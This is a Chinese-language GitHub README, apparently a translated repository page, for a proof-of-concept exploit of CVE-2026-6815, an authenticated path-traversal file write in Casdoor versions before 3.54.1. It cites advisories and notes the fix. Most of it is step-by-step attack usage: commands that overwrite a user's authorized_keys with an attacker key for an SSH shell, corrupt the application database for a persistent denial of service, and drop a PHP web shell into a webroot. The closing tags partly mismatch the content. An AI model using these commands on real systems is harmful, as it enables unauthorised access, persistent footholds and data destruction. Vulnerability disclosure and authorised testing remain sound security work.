danilo-dellorco/CVE-2026-6815
GitHub: danilo-dellorco/CVE-2026-6815
针对 Casdoor 3.54.1 以下版本已认证路径穿越与任意文件写入漏洞(CVE-2026-6815)的 Python PoC exploit,可验证 RCE 与 DoS 攻击路径。
Stars: 0 | Forks: 0
# CVE-2026-6815 PoC/Exploit: Casdoor <3.54.1 路径穿越与任意文件写入(需认证)
本仓库包含针对 [CVE-2026-6815](https://www.kb.cert.org/vuls/id/937808) 的概念验证 (PoC) exploit,这是 [Casdoor](https://github.com/casdoor/casdoor) 中的一个任意文件写入和路径穿越漏洞。
该漏洞已在版本 [3.54.1](https://github.com/casdoor/casdoor/releases/tag/v3.54.1) 中被[修复](https://github.com/casdoor/casdoor/pull/5458)。
## 环境要求
攻击者必须通过身份验证登录到 Casdoor 实例,并拥有管理员权限,或具有创建和/或编辑存储 provider 权限的等效用户。
## 影响
- **远程代码执行 (RCE)**:通过写入到 `.ssh/authorized_keys`、crontabs 或 webroots 等敏感位置。
- **拒绝服务 (DoS)**:使用任意文件覆盖应用程序数据库(`casdoor.db`)或核心二进制文件,立即导致应用程序停止运行。
## 技术细节
Casdoor 允许管理员配置存储 provider。`Local File System` provider 在资源上传过程中,未能正确清理 `pathPrefix` 配置和 `fullFilePath` 参数。
通过使用目录穿越序列(`../`),通过身份验证的管理员可以逃逸出专用存储目录,并在 Casdoor 进程具有权限的任何位置写入文件。
该漏洞源于以下文件中路径验证不足:
- `object/provider.go`:在创建/更新期间没有对 `pathPrefix` 进行验证。
- `storage/local_file_system.go`:`GetFullPath` 方法未验证解析后的路径是否仍位于预期的沙盒内。
## 用法
1. 安装依赖项:
pip install -r requirements.txt
2. 运行 exploit:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
## 使用示例
### 1. 注入 SSH 密钥实现 RCE
将攻击者控制的公钥写入 `casdoor` 用户的 `authorized_keys` 文件以获取 SSH 访问权限。
生成 ssh-key:
```
ssh-keygen -f casdoor_rce
```
使用生成的公钥覆盖 `authorized_keys`:
```
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
```
使用私钥在远程主机上获取 ssh shell:
```
ssh -i ./casdoor_rce casdoor@target
```
### 2. 持久 DoS(数据库损坏)
覆盖应用程序的本地数据库文件(例如 `casdoor.db`)以导致拒绝服务。
```
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
```
### 3. 上传 Web Shell(辅助 Webroot)
如果服务器在同一文件系统上托管了辅助 Web 服务器(例如 Apache/Nginx),请将 Web shell 写入其文档根目录。
```
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
```
### 4. 自定义组织和应用程序
如果您拥有特定组织和应用程序的管理员凭据(非默认的 `built-in` 和 `app-built-in`),请使用 `--orgname` 和 `--appname` 指定它们。
```
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
```
## 参考
- [CERT/CC 漏洞说明 VU#937808](https://www.kb.cert.org/vuls/id/937808)
- [CVE.org 上的 CVE-2026-6815](https://www.cve.org/CVERecord?id=CVE-2026-6815)
- [Red Hat 安全公告:CVE-2026-6815](https://access.redhat.com/security/cve/cve-2026-6815)
## 免责声明
本软件仅供教育和授权的安全测试目的使用。作者不对任何滥用此信息的行为负责。
## 作者
漏洞发现及 PoC 开发者:**[Danilo Dell'Orco](https://github.com/danilo-dellorco) (sixpain)**。
标签:PoC, Python, 任意文件写入, 无后门, 暴力破解, 路径遍历, 逆向工具, 配置错误